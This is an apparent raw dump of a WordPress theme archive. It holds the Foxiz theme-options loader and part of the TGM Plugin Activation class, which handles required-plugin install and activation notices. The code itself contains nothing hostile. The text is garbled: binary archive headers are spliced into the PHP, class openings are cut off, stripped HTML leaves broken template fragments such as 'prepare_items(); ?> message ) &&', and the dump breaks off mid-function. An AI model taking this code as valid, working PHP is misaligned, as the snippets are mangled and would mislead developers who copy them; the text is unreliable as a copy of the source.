PK!gfftheme-options.phpnu[sources = array( 'general', 'logo', 'header', 'header-style', 'sidebar', 'footer', 'design', 'blocks', 'block-classic', 'block-grid', 'block-list', 'heading', 'single-post', 'blog-pages', 'page', 'color', 'typography', 'login', 'bookmark', 'table-contents', 'socials', 'breadcrumb', 'privacy', 'newsletter', 'adblock', 'dark-mode', 'optimized', 'ads', 'reaction', 'woocommerce', 'amp' ); $this->funcs_name = array( 'general', 'logo', 'logo_global', 'logo_mobile', 'logo_transparent', 'logo_favicon', 'header', 'header_general', 'header_1', 'header_4', 'header_5', 'header_mobile', 'header_more', 'header_search', 'header_login', 'header_notification', 'header_alert', 'header_cart', 'sidebar', 'footer', 'design', 'design_category', 'design_meta', 'design_meta_custom', 'design_featured', 'design_slider', 'design_format', 'design_readmore', 'design_hover', 'design_border', 'design_svg', 'design_gif', 'design_icons', /** blocks */ 'blocks', 'block_classic_1', 'block_grid_1', 'block_grid_2', 'block_grid_small_1', 'block_grid_box_1', 'block_grid_box_2', 'block_list_1', 'block_list_2', 'block_list_box_1', 'block_list_box_2', 'heading', 'color', /** single */ 'single_post', 'single_post_layout', 'single_post_sections', 'single_post_sidebar', 'single_post_category', 'single_post_tagline', 'single_post_meta', 'single_post_sponsored', 'single_post_review', 'single_post_comment', 'single_post_footer', 'single_post_ajax', 'single_post_shares', 'single_post_sticky', 'single_reading_indicator', 'single_post_highlight', 'single_post_header', 'page', 'category', 'blog_pages', 'blog', 'author', 'search', 'archive', 'page_404', 'typo', 'typo_body', 'typo_h1', 'typo_h2', 'typo_h3', 'typo_h4', 'typo_h5', 'typo_h6', 'typo_category', 'typo_meta', 'typo_excerpt', 'typo_readmore', 'typo_input', 'typo_breadcrumb', 'typo_single', 'typo_menus', 'typo_heading', 'typo_widget_menu', /** extras */ 'table_contents', 'reaction', 'bookmark', 'bookmark_general', 'bookmark_reading', 'bookmark_interests', 'bookmark_recommended', 'socials', 'breadcrumb', 'privacy', 'dark_mode', 'newsletter', 'performance', 'seo', 'adblock', 'ads', 'ad_auto', 'ad_top', 'ad_single', 'footer_slide_up', 'login', 'woocommerce', 'wc_page', 'wc_style', 'membership', 'amp', 'amp_general', 'amp_single', 'amp_auto_ads', 'amp_ads', ); $this->load_files(); $is_activate = $this->activated(); if ( empty( $is_activate ) ) { return false; } Redux::setArgs( FOXIZ_TOS_ID, $this->get_params() ); $this->register_options(); } /** load */ function load_files() { $path = 'backend/panels'; if ( is_array( $this->sources ) ) { foreach ( $this->sources as $name ) { $file = get_theme_file_path( $path . '/' . trim( $name ) . '.php' ); if ( file_exists( $file ) ) { include_once $file; } } } } public function display_name() { return esc_html__( 'Foxiz Panel', 'foxiz' ) . '' . wp_get_theme()->get( 'Version' ) . ''; } public function display_version() { return '' . esc_html__( 'Online Documentation', 'foxiz' ) . ''; } public function activated() { return $this->is_activated = RB_ADMIN_CORE::get_instance()->get_purchase_code(); } public function get_params() { return array( 'opt_name' => FOXIZ_TOS_ID, 'display_name' => $this->display_name(), 'display_version' => $this->display_version(), 'menu_type' => 'menu', 'allow_sub_menu' => true, 'menu_title' => esc_html__( 'Theme Options', 'foxiz' ), 'page_title' => esc_html__( 'Theme Options', 'foxiz' ), 'google_api_key' => '', 'google_update_weekly' => false, 'async_typography' => false, 'admin_bar' => true, 'admin_bar_icon' => 'dashicons-admin-generic', 'admin_bar_priority' => 50, 'global_variable' => FOXIZ_TOS_ID, 'dev_mode' => false, 'update_notice' => false, 'customizer' => true, 'page_priority' => 54, 'page_parent' => 'themes.php', 'page_permissions' => 'manage_options', 'menu_icon' => '', 'last_tab' => '', 'page_icon' => 'icon-themes', 'page_slug' => 'ruby-options', 'show_options_object' => false, 'save_defaults' => true, 'default_show' => false, 'default_mark' => '', 'show_import_export' => true, 'transient_time' => 6400, 'use_cdn' => true, 'output' => true, 'output_tag' => true, 'disable_tracking' => true, 'database' => '', 'disable_google_fonts_link' => true, 'system_info' => false ); } public function register_options() { if ( $this->is_activated ) { foreach ( $this->funcs_name as $name ) { $func = 'foxiz_register_options_' . $name; if ( function_exists( $func ) ) { Redux::setSection( FOXIZ_TOS_ID, call_user_func( $func ) ); } } } } static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } } }PK! Aclass-tgm-plugin-activation.phpnu[wp_version = $GLOBALS['wp_version']; // Announce that the class is ready, and pass the object (for advanced use). do_action_ref_array( 'tgmpa_init', array( $this ) ); /* * Load our text domain and allow for overloading the fall-back file. * * {@internal IMPORTANT! If this code changes, review the regex in the custom TGMPA * generator on the website.}} */ //add_action( 'init', array( $this, 'load_textdomain' ), 5 ); //add_filter( 'load_textdomain_mofile', array( $this, 'overload_textdomain_mofile' ), 10, 2 ); // When the rest of WP has loaded, kick-start the rest of the class. add_action( 'init', array( $this, 'init' ) ); } /** * Magic method to (not) set protected properties from outside of this class. * * {@internal hackedihack... There is a serious bug in v2.3.2 - 2.3.6 where the `menu` property * is being assigned rather than tested in a conditional, effectively rendering it useless. * This 'hack' prevents this from happening.}} * * @see https://github.com/TGMPA/TGM-Plugin-Activation/blob/2.3.6/tgm-plugin-activation/class-tgm-plugin-activation.php#L1593 * * @since 2.5.2 * * @param string $name Name of an inaccessible property. * @param mixed $value Value to assign to the property. * @return void Silently fail to set the property when this is tried from outside of this class context. * (Inside this class context, the __set() method if not used as there is direct access.) */ public function __set( $name, $value ) { return; } /** * Magic method to get the value of a protected property outside of this class context. * * @since 2.5.2 * * @param string $name Name of an inaccessible property. * @return mixed The property value. */ public function __get( $name ) { return $this->{$name}; } /** * Initialise the interactions between this class and WordPress. * * Hooks in three new methods for the class: admin_menu, notices and styles. * * @since 2.0.0 * * @see TGM_Plugin_Activation::admin_menu() * @see TGM_Plugin_Activation::notices() * @see TGM_Plugin_Activation::styles() */ public function init() { /** * By default TGMPA only loads on the WP back-end and not in an Ajax call. Using this filter * you can overrule that behaviour. * * @since 2.5.0 * * @param bool $load Whether or not TGMPA should load. * Defaults to the return of `is_admin() && ! defined( 'DOING_AJAX' )`. */ if ( true !== apply_filters( 'tgmpa_load', ( is_admin() && ! defined( 'DOING_AJAX' ) ) ) ) { return; } // Load class strings. $this->strings = array( 'page_title' => esc_html__( 'Install Required Plugins', 'foxiz' ), 'menu_title' => esc_html__( 'Install Plugins', 'foxiz' ), /* translators: %s: plugin name. */ 'installing' => esc_html__( 'Installing Plugin: %s', 'foxiz' ), /* translators: %s: plugin name. */ 'updating' => esc_html__( 'Updating Plugin: %s', 'foxiz' ), 'oops' => esc_html__( 'Something went wrong with the plugin API.', 'foxiz' ), 'notice_can_install_required' => _n_noop( /* translators: 1: plugin name(s). */ 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.', 'foxiz' ), 'notice_can_install_recommended' => _n_noop( /* translators: 1: plugin name(s). */ 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.', 'foxiz' ), 'notice_ask_to_update' => _n_noop( /* translators: 1: plugin name(s). */ 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.', 'foxiz' ), 'notice_ask_to_update_maybe' => _n_noop( /* translators: 1: plugin name(s). */ 'There is an update available for: %1$s.', 'There are updates available for the following plugins: %1$s.', 'foxiz' ), 'notice_can_activate_required' => _n_noop( /* translators: 1: plugin name(s). */ 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.', 'foxiz' ), 'notice_can_activate_recommended' => _n_noop( /* translators: 1: plugin name(s). */ 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.', 'foxiz' ), 'install_link' => _n_noop( 'Begin installing plugin', 'Begin installing plugins', 'foxiz' ), 'update_link' => _n_noop( 'Begin updating plugin', 'Begin updating plugins', 'foxiz' ), 'activate_link' => _n_noop( 'Begin activating plugin', 'Begin activating plugins', 'foxiz' ), 'return' => esc_html__( 'Return to Required Plugins Installer', 'foxiz' ), 'dashboard' => esc_html__( 'Return to the Dashboard', 'foxiz' ), 'plugin_activated' => esc_html__( 'Plugin activated successfully.', 'foxiz' ), 'activated_successfully' => esc_html__( 'The following plugin was activated successfully:', 'foxiz' ), /* translators: 1: plugin name. */ 'plugin_already_active' => esc_html__( 'No action taken. Plugin %1$s was already active.', 'foxiz' ), /* translators: 1: plugin name. */ 'plugin_needs_higher_version' => esc_html__( 'Plugin not activated. A higher version of %s is needed for this theme. Please update the plugin.', 'foxiz' ), /* translators: 1: dashboard link. */ 'complete' => esc_html__( 'All plugins installed and activated successfully. %1$s', 'foxiz' ), 'dismiss' => esc_html__( 'Dismiss this notice', 'foxiz' ), 'notice_cannot_install_activate' => esc_html__( 'There are one or more required or recommended plugins to install, update or activate.', 'foxiz' ), 'contact_admin' => esc_html__( 'Please contact the administrator of this site for help.', 'foxiz' ), ); do_action( 'tgmpa_register' ); /* After this point, the plugins should be registered and the configuration set. */ // Proceed only if we have plugins to handle. if ( empty( $this->plugins ) || ! is_array( $this->plugins ) ) { return; } // Set up the menu and notices if we still have outstanding actions. if ( true !== $this->is_tgmpa_complete() ) { // Sort the plugins. array_multisort( $this->sort_order, SORT_ASC, $this->plugins ); add_action( 'admin_menu', array( $this, 'admin_menu' ) ); add_action( 'admin_head', array( $this, 'dismiss' ) ); // Prevent the normal links from showing underneath a single install/update page. add_filter( 'install_plugin_complete_actions', array( $this, 'actions' ) ); add_filter( 'update_plugin_complete_actions', array( $this, 'actions' ) ); if ( $this->has_notices ) { add_action( 'admin_notices', array( $this, 'notices' ) ); add_action( 'admin_init', array( $this, 'admin_init' ), 1 ); add_action( 'admin_enqueue_scripts', array( $this, 'thickbox' ) ); } } elseif ( is_admin() && ! is_network_admin() && isset( $_GET['page'] ) && 'foxiz-plugins' === $_GET['page'] ) { wp_safe_redirect( admin_url( 'admin.php?page=foxiz-admin' ) ); die(); } // If needed, filter plugin action links. add_action( 'load-plugins.php', array( $this, 'add_plugin_action_link_filters' ), 1 ); // Make sure things get reset on switch theme. add_action( 'switch_theme', array( $this, 'flush_plugins_cache' ) ); if ( $this->has_notices ) { add_action( 'switch_theme', array( $this, 'update_dismiss' ) ); } // Setup the force activation hook. if ( true === $this->has_forced_activation ) { add_action( 'admin_init', array( $this, 'force_activation' ) ); } // Setup the force deactivation hook. if ( true === $this->has_forced_deactivation ) { add_action( 'switch_theme', array( $this, 'force_deactivation' ) ); } } /** * Load translations. * * @since 2.6.0 * * (@internal Uses `load_theme_textdomain()` rather than `load_plugin_textdomain()` to * get round the different ways of handling the path and deprecated notices being thrown * and such. For plugins, the actual file name will be corrected by a filter.}} * * {@internal IMPORTANT! If this function changes, review the regex in the custom TGMPA * generator on the website.}} */ public function load_textdomain() { if ( is_textdomain_loaded( 'tgmpa' ) ) { return; } if ( false !== strpos( __FILE__, WP_PLUGIN_DIR ) || false !== strpos( __FILE__, WPMU_PLUGIN_DIR ) ) { // Plugin, we'll need to adjust the file name. add_action( 'load_textdomain_mofile', array( $this, 'correct_plugin_mofile' ), 10, 2 ); load_theme_textdomain( 'tgmpa', dirname( __FILE__ ) . '/languages' ); remove_action( 'load_textdomain_mofile', array( $this, 'correct_plugin_mofile' ), 10 ); } else { load_theme_textdomain( 'tgmpa', dirname( __FILE__ ) . '/languages' ); } } /** * Correct the .mo file name for (must-use) plugins. * * Themese use `/path/{locale}.mo` while plugins use `/path/{text-domain}-{locale}.mo`. * * {@internal IMPORTANT! If this function changes, review the regex in the custom TGMPA * generator on the website.}} * * @since 2.6.0 * * @param string $mofile Full path to the target mofile. * @param string $domain The domain for which a language file is being loaded. * @return string $mofile */ public function correct_plugin_mofile( $mofile, $domain ) { // Exit early if not our domain (just in case). if ( 'tgmpa' !== $domain ) { return $mofile; } return preg_replace( '`/([a-z]{2}_[A-Z]{2}.mo)$`', '/tgmpa-$1', $mofile ); } /** * Potentially overload the fall-back translation file for the current language. * * WP, by default since WP 3.7, will load a local translation first and if none * can be found, will try and find a translation in the /wp-content/languages/ directory. * As this library is theme/plugin agnostic, translation files for TGMPA can exist both * in the WP_LANG_DIR /plugins/ subdirectory as well as in the /themes/ subdirectory. * * This method makes sure both directories are checked. * * {@internal IMPORTANT! If this function changes, review the regex in the custom TGMPA * generator on the website.}} * * @since 2.6.0 * * @param string $mofile Full path to the target mofile. * @param string $domain The domain for which a language file is being loaded. * @return string $mofile */ public function overload_textdomain_mofile( $mofile, $domain ) { // Exit early if not our domain, not a WP_LANG_DIR load or if the file exists and is readable. if ( 'tgmpa' !== $domain || false === strpos( $mofile, WP_LANG_DIR ) || @is_readable( $mofile ) ) { return $mofile; } // Current fallback file is not valid, let's try the alternative option. if ( false !== strpos( $mofile, '/themes/' ) ) { return str_replace( '/themes/', '/plugins/', $mofile ); } elseif ( false !== strpos( $mofile, '/plugins/' ) ) { return str_replace( '/plugins/', '/themes/', $mofile ); } else { return $mofile; } } /** * Hook in plugin action link filters for the WP native plugins page. * * - Prevent activation of plugins which don't meet the minimum version requirements. * - Prevent deactivation of force-activated plugins. * - Add update notice if update available. * * @since 2.5.0 */ public function add_plugin_action_link_filters() { foreach ( $this->plugins as $slug => $plugin ) { if ( false === $this->can_plugin_activate( $slug ) ) { add_filter( 'plugin_action_links_' . $plugin['file_path'], array( $this, 'filter_plugin_action_links_activate' ), 20 ); } if ( true === $plugin['force_activation'] ) { add_filter( 'plugin_action_links_' . $plugin['file_path'], array( $this, 'filter_plugin_action_links_deactivate' ), 20 ); } if ( false !== $this->does_plugin_require_update( $slug ) ) { add_filter( 'plugin_action_links_' . $plugin['file_path'], array( $this, 'filter_plugin_action_links_update' ), 20 ); } } } /** * Remove the 'Activate' link on the WP native plugins page if the plugin does not meet the * minimum version requirements. * * @since 2.5.0 * * @param array $actions Action links. * @return array */ public function filter_plugin_action_links_activate( $actions ) { unset( $actions['activate'] ); return $actions; } /** * Remove the 'Deactivate' link on the WP native plugins page if the plugin has been set to force activate. * * @since 2.5.0 * * @param array $actions Action links. * @return array */ public function filter_plugin_action_links_deactivate( $actions ) { unset( $actions['deactivate'] ); return $actions; } /** * Add a 'Requires update' link on the WP native plugins page if the plugin does not meet the * minimum version requirements. * * @since 2.5.0 * * @param array $actions Action links. * @return array */ public function filter_plugin_action_links_update( $actions ) { $actions['update'] = sprintf( '%3$s', esc_url( $this->get_tgmpa_status_url( 'update' ) ), esc_attr__( 'This plugin needs to be updated to be compatible with your theme.', 'foxiz' ), esc_html__( 'Update Required', 'foxiz' ) ); return $actions; } /** * Handles calls to show plugin information via links in the notices. * * We get the links in the admin notices to point to the TGMPA page, rather * than the typical plugin-install.php file, so we can prepare everything * beforehand. * * WP does not make it easy to show the plugin information in the thickbox - * here we have to require a file that includes a function that does the * main work of displaying it, enqueue some styles, set up some globals and * finally call that function before exiting. * * Down right easy once you know how... * * Returns early if not the TGMPA page. * * @since 2.1.0 * * @global string $tab Used as iframe div class names, helps with styling * @global string $body_id Used as the iframe body ID, helps with styling * * @return null Returns early if not the TGMPA page. */ public function admin_init() { if ( ! $this->is_tgmpa_page() ) { return; } if ( isset( $_REQUEST['tab'] ) && 'plugin-information' === $_REQUEST['tab'] ) { // Needed for install_plugin_information(). require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; wp_enqueue_style( 'plugin-install' ); global $tab, $body_id; $body_id = 'plugin-information'; // @codingStandardsIgnoreStart $tab = 'plugin-information'; // @codingStandardsIgnoreEnd install_plugin_information(); exit; } } /** * Enqueue thickbox scripts/styles for plugin info. * * Thickbox is not automatically included on all admin pages, so we must * manually enqueue it for those pages. * * Thickbox is only loaded if the user has not dismissed the admin * notice or if there are any plugins left to install and activate. * * @since 2.1.0 */ public function thickbox() { if ( ! get_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, true ) ) { add_thickbox(); } } /** * Adds submenu page if there are plugin actions to take. * * This method adds the submenu page letting users know that a required * plugin needs to be installed. * * This page disappears once the plugin has been installed and activated. * * @since 1.0.0 * * @see TGM_Plugin_Activation::init() * @see TGM_Plugin_Activation::install_plugins_page() * * @return null Return early if user lacks capability to install a plugin. */ public function admin_menu() { // Make sure privileges are correct to see the page. if ( ! current_user_can( 'install_plugins' ) ) { return; } $args = apply_filters( 'tgmpa_admin_menu_args', array( 'parent_slug' => $this->parent_slug, // Parent Menu slug. 'page_title' => $this->strings['page_title'], // Page title. 'menu_title' => $this->strings['menu_title'], // Menu title. 'capability' => $this->capability, // Capability. 'menu_slug' => $this->menu, // Menu slug. 'function' => array( $this, 'install_plugins_page' ), // Callback. ) ); $this->add_admin_menu( $args ); } /** * Add the menu item. * * {@internal IMPORTANT! If this function changes, review the regex in the custom TGMPA * generator on the website.}} * * @since 2.5.0 * * @param array $args Menu item configuration. */ protected function add_admin_menu( array $args ) { $this->page_hook = add_theme_page( $args['page_title'], $args['menu_title'], $args['capability'], $args['menu_slug'], $args['function'] ); } /** * Echoes plugin installation form. * * This method is the callback for the admin_menu method function. * This displays the admin page and form area where the user can select to install and activate the plugin. * Aborts early if we're processing a plugin installation action. * * @since 1.0.0 * * @return null Aborts early if we're processing a plugin installation action. */ public function install_plugins_page() { // Store new instance of plugin table in object. $plugin_table = new TGMPA_List_Table; // Return early if processing a plugin installation action. if ( ( ( 'tgmpa-bulk-install' === $plugin_table->current_action() || 'tgmpa-bulk-update' === $plugin_table->current_action() ) && $plugin_table->process_bulk_actions() ) || $this->do_plugin_install() ) { return; } // Force refresh of available plugin information so we'll know about manual updates/deletes. wp_clean_plugins_cache( false ); ?>

prepare_items(); ?> message ) && is_string( $this->message ) ) { echo wp_kses_post( $this->message ); } ?> views(); ?>
display(); ?>
sanitize_key( urldecode( $_GET['plugin'] ) ); if ( ! isset( $this->plugins[ $slug ] ) ) { return false; } // Was an install or upgrade action link clicked? if ( ( isset( $_GET['tgmpa-install'] ) && 'install-plugin' === $_GET['tgmpa-install'] ) || ( isset( $_GET['tgmpa-update'] ) && 'update-plugin' === $_GET['tgmpa-update'] ) ) { $install_type = 'install'; if ( isset( $_GET['tgmpa-update'] ) && 'update-plugin' === $_GET['tgmpa-update'] ) { $install_type = 'update'; } check_admin_referer( 'tgmpa-' . $install_type, 'tgmpa-nonce' ); // Pass necessary information via URL if WP_Filesystem is needed. $url = wp_nonce_url( add_query_arg( array( 'plugin' => urlencode( $slug ), 'tgmpa-' . $install_type => $install_type . '-plugin', ), $this->get_tgmpa_url() ), 'tgmpa-' . $install_type, 'tgmpa-nonce' ); $method = ''; // Leave blank so WP_Filesystem can populate it as necessary. if ( false === ( $creds = request_filesystem_credentials( esc_url_raw( $url ), $method, false, false, array() ) ) ) { return true; } if ( ! WP_Filesystem( $creds ) ) { request_filesystem_credentials( esc_url_raw( $url ), $method, true, false, array() ); // Setup WP_Filesystem. return true; } /* If we arrive here, we have the filesystem. */ // Prep variables for Plugin_Installer_Skin class. $extra = array(); $extra['slug'] = $slug; // Needed for potentially renaming of directory name. $source = $this->get_download_url( $slug ); $api = ( 'repo' === $this->plugins[ $slug ]['source_type'] ) ? $this->get_plugins_api( $slug ) : null; $api = ( false !== $api ) ? $api : null; $url = add_query_arg( array( 'action' => $install_type . '-plugin', 'plugin' => urlencode( $slug ), ), 'update.php' ); if ( ! class_exists( 'Plugin_Upgrader', false ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } $title = ( 'update' === $install_type ) ? $this->strings['updating'] : $this->strings['installing']; $skin_args = array( 'type' => ( 'bundled' !== $this->plugins[ $slug ]['source_type'] ) ? 'web' : 'upload', 'title' => sprintf( $title, $this->plugins[ $slug ]['name'] ), 'url' => esc_url_raw( $url ), 'nonce' => $install_type . '-plugin_' . $slug, 'plugin' => '', 'api' => $api, 'extra' => $extra, ); unset( $title ); if ( 'update' === $install_type ) { $skin_args['plugin'] = $this->plugins[ $slug ]['file_path']; $skin = new Plugin_Upgrader_Skin( $skin_args ); } else { $skin = new Plugin_Installer_Skin( $skin_args ); } // Create a new instance of Plugin_Upgrader. $upgrader = new Plugin_Upgrader( $skin ); // Perform the action and install the plugin from the $source urldecode(). add_filter( 'upgrader_source_selection', array( $this, 'maybe_adjust_source_dir' ), 1, 3 ); if ( 'update' === $install_type ) { // Inject our info into the update transient. $to_inject = array( $slug => $this->plugins[ $slug ] ); $to_inject[ $slug ]['source'] = $source; $this->inject_update_info( $to_inject ); $upgrader->upgrade( $this->plugins[ $slug ]['file_path'] ); } else { $upgrader->install( $source ); } remove_filter( 'upgrader_source_selection', array( $this, 'maybe_adjust_source_dir' ), 1 ); // Make sure we have the correct file path now the plugin is installed/updated. $this->populate_file_path( $slug ); // Only activate plugins if the config option is set to true and the plugin isn't // already active (upgrade). if ( $this->is_automatic && ! $this->is_plugin_active( $slug ) ) { $plugin_activate = $upgrader->plugin_info(); // Grab the plugin info from the Plugin_Upgrader method. if ( false === $this->activate_single_plugin( $plugin_activate, $slug, true ) ) { return true; // Finish execution of the function early as we encountered an error. } } $this->show_tgmpa_version(); // Display message based on if all plugins are now active or not. if ( $this->is_tgmpa_complete() ) { echo '

', sprintf( esc_html( $this->strings['complete'] ), '' . esc_html__( 'Return to the Dashboard', 'foxiz' ) . '' ), '

'; echo ''; } else { echo '

', esc_html( $this->strings['return'] ), '

'; } return true; } elseif ( isset( $this->plugins[ $slug ]['file_path'], $_GET['tgmpa-activate'] ) && 'activate-plugin' === $_GET['tgmpa-activate'] ) { // Activate action link was clicked. check_admin_referer( 'tgmpa-activate', 'tgmpa-nonce' ); if ( false === $this->activate_single_plugin( $this->plugins[ $slug ]['file_path'], $slug ) ) { return true; // Finish execution of the function early as we encountered an error. } } return false; } /** * Inject information into the 'update_plugins' site transient as WP checks that before running an update. * * @since 2.5.0 * * @param array $plugins The plugin information for the plugins which are to be updated. */ public function inject_update_info( $plugins ) { $repo_updates = get_site_transient( 'update_plugins' ); if ( ! is_object( $repo_updates ) ) { $repo_updates = new stdClass; } foreach ( $plugins as $slug => $plugin ) { $file_path = $plugin['file_path']; if ( empty( $repo_updates->response[ $file_path ] ) ) { $repo_updates->response[ $file_path ] = new stdClass; } // We only really need to set package, but let's do all we can in case WP changes something. $repo_updates->response[ $file_path ]->slug = $slug; $repo_updates->response[ $file_path ]->plugin = $file_path; $repo_updates->response[ $file_path ]->new_version = $plugin['version']; $repo_updates->response[ $file_path ]->package = $plugin['source']; if ( empty( $repo_updates->response[ $file_path ]->url ) && ! empty( $plugin['external_url'] ) ) { $repo_updates->response[ $file_path ]->url = $plugin['external_url']; } } set_site_transient( 'update_plugins', $repo_updates ); } /** * Adjust the plugin directory name if necessary. * * The final destination directory of a plugin is based on the subdirectory name found in the * (un)zipped source. In some cases - most notably GitHub repository plugin downloads -, this * subdirectory name is not the same as the expected slug and the plugin will not be recognized * as installed. This is fixed by adjusting the temporary unzipped source subdirectory name to * the expected plugin slug. * * @since 2.5.0 * * @param string $source Path to upgrade/zip-file-name.tmp/subdirectory/. * @param string $remote_source Path to upgrade/zip-file-name.tmp. * @param \WP_Upgrader $upgrader Instance of the upgrader which installs the plugin. * @return string $source */ public function maybe_adjust_source_dir( $source, $remote_source, $upgrader ) { if ( ! $this->is_tgmpa_page() || ! is_object( $GLOBALS['wp_filesystem'] ) ) { return $source; } // Check for single file plugins. $source_files = array_keys( $GLOBALS['wp_filesystem']->dirlist( $remote_source ) ); if ( 1 === count( $source_files ) && false === $GLOBALS['wp_filesystem']->is_dir( $source ) ) { return $source; } // Multi-file plugin, let's see if the directory is correctly named. $desired_slug = ''; // Figure out what the slug is supposed to be. if ( false === $upgrader->bulk && ! empty( $upgrader->skin->options['extra']['slug'] ) ) { $desired_slug = $upgrader->skin->options['extra']['slug']; } else { // Bulk installer contains less info, so fall back on the info registered here. foreach ( $this->plugins as $slug => $plugin ) { if ( ! empty( $upgrader->skin->plugin_names[ $upgrader->skin->i ] ) && $plugin['name'] === $upgrader->skin->plugin_names[ $upgrader->skin->i ] ) { $desired_slug = $slug; break; } } unset( $slug, $plugin ); } if ( ! empty( $desired_slug ) ) { $subdir_name = untrailingslashit( str_replace( trailingslashit( $remote_source ), '', $source ) ); if ( ! empty( $subdir_name ) && $subdir_name !== $desired_slug ) { $from_path = untrailingslashit( $source ); $to_path = trailingslashit( $remote_source ) . $desired_slug; if ( true === $GLOBALS['wp_filesystem']->move( $from_path, $to_path ) ) { return trailingslashit( $to_path ); } else { return new WP_Error( 'rename_failed', esc_html__( 'The remote plugin package does not contain a folder with the desired slug and renaming did not work.', 'foxiz' ) . ' ' . esc_html__( 'Please contact the plugin provider and ask them to package their plugin according to the WordPress guidelines.', 'foxiz' ), array( 'found' => $subdir_name, 'expected' => $desired_slug ) ); } } elseif ( empty( $subdir_name ) ) { return new WP_Error( 'packaged_wrong', esc_html__( 'The remote plugin package consists of more than one file, but the files are not packaged in a folder.', 'foxiz' ) . ' ' . esc_html__( 'Please contact the plugin provider and ask them to package their plugin according to the WordPress guidelines.', 'foxiz' ), array( 'found' => $subdir_name, 'expected' => $desired_slug ) ); } } return $source; } /** * Activate a single plugin and send feedback about the result to the screen. * * @since 2.5.0 * * @param string $file_path Path within wp-plugins/ to main plugin file. * @param string $slug Plugin slug. * @param bool $automatic Whether this is an automatic activation after an install. Defaults to false. * This determines the styling of the output messages. * @return bool False if an error was encountered, true otherwise. */ protected function activate_single_plugin( $file_path, $slug, $automatic = false ) { if ( $this->can_plugin_activate( $slug ) ) { $activate = activate_plugin( $file_path ); if ( is_wp_error( $activate ) ) { echo '

', wp_kses_post( $activate->get_error_message() ), '

', '

', esc_html( $this->strings['return'] ), '

'; return false; // End it here if there is an error with activation. } else { if ( ! $automatic ) { // Make sure message doesn't display again if bulk activation is performed // immediately after a single activation. if ( ! isset( $_POST['action'] ) ) { // WPCS: CSRF OK. echo '

', esc_html( $this->strings['activated_successfully'] ), ' ', esc_html( $this->plugins[ $slug ]['name'] ), '.

'; } } else { // Simpler message layout for use on the plugin install page. echo '

', esc_html( $this->strings['plugin_activated'] ), '

'; } } } elseif ( $this->is_plugin_active( $slug ) ) { // No simpler message format provided as this message should never be encountered // on the plugin install page. echo '

', sprintf( esc_html( $this->strings['plugin_already_active'] ), '' . esc_html( $this->plugins[ $slug ]['name'] ) . '' ), '

'; } elseif ( $this->does_plugin_require_update( $slug ) ) { if ( ! $automatic ) { // Make sure message doesn't display again if bulk activation is performed // immediately after a single activation. if ( ! isset( $_POST['action'] ) ) { // WPCS: CSRF OK. echo '

', sprintf( esc_html( $this->strings['plugin_needs_higher_version'] ), '' . esc_html( $this->plugins[ $slug ]['name'] ) . '' ), '

'; } } else { // Simpler message layout for use on the plugin install page. echo '

', sprintf( esc_html( $this->strings['plugin_needs_higher_version'] ), esc_html( $this->plugins[ $slug ]['name'] ) ), '

'; } } return true; } /** * Echoes required plugin notice. * * Outputs a message telling users that a specific plugin is required for * their theme. If appropriate, it includes a link to the form page where * users can install and activate the plugin. * * Returns early if we're on the Install page. * * @since 1.0.0 * * @global object $current_screen * * @return null Returns early if we're on the Install page. */ public function notices() { // Remove nag on the install page / Return early if the nag message has been dismissed or user < author. if ( ( $this->is_tgmpa_page() || $this->is_core_update_page() ) || get_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, true ) || ! current_user_can( apply_filters( 'tgmpa_show_admin_notice_capability', 'publish_posts' ) ) ) { return; } // Store for the plugin slugs by message type. $message = array(); // Initialize counters used to determine plurality of action link texts. $install_link_count = 0; $update_link_count = 0; $activate_link_count = 0; $total_required_action_count = 0; foreach ( $this->plugins as $slug => $plugin ) { if ( $this->is_plugin_active( $slug ) && false === $this->does_plugin_have_update( $slug ) ) { continue; } if ( ! $this->is_plugin_installed( $slug ) ) { if ( current_user_can( 'install_plugins' ) ) { $install_link_count++; if ( true === $plugin['required'] ) { $message['notice_can_install_required'][] = $slug; } else { $message['notice_can_install_recommended'][] = $slug; } } if ( true === $plugin['required'] ) { $total_required_action_count++; } } else { if ( ! $this->is_plugin_active( $slug ) && $this->can_plugin_activate( $slug ) ) { if ( current_user_can( 'activate_plugins' ) ) { $activate_link_count++; if ( true === $plugin['required'] ) { $message['notice_can_activate_required'][] = $slug; } else { $message['notice_can_activate_recommended'][] = $slug; } } if ( true === $plugin['required'] ) { $total_required_action_count++; } } if ( $this->does_plugin_require_update( $slug ) || false !== $this->does_plugin_have_update( $slug ) ) { if ( current_user_can( 'update_plugins' ) ) { $update_link_count++; if ( $this->does_plugin_require_update( $slug ) ) { $message['notice_ask_to_update'][] = $slug; } elseif ( false !== $this->does_plugin_have_update( $slug ) ) { $message['notice_ask_to_update_maybe'][] = $slug; } } if ( true === $plugin['required'] ) { $total_required_action_count++; } } } } unset( $slug, $plugin ); // If we have notices to display, we move forward. if ( ! empty( $message ) || $total_required_action_count > 0 ) { krsort( $message ); // Sort messages. $rendered = ''; // As add_settings_error() wraps the final message in a

and as the final message can't be // filtered, using

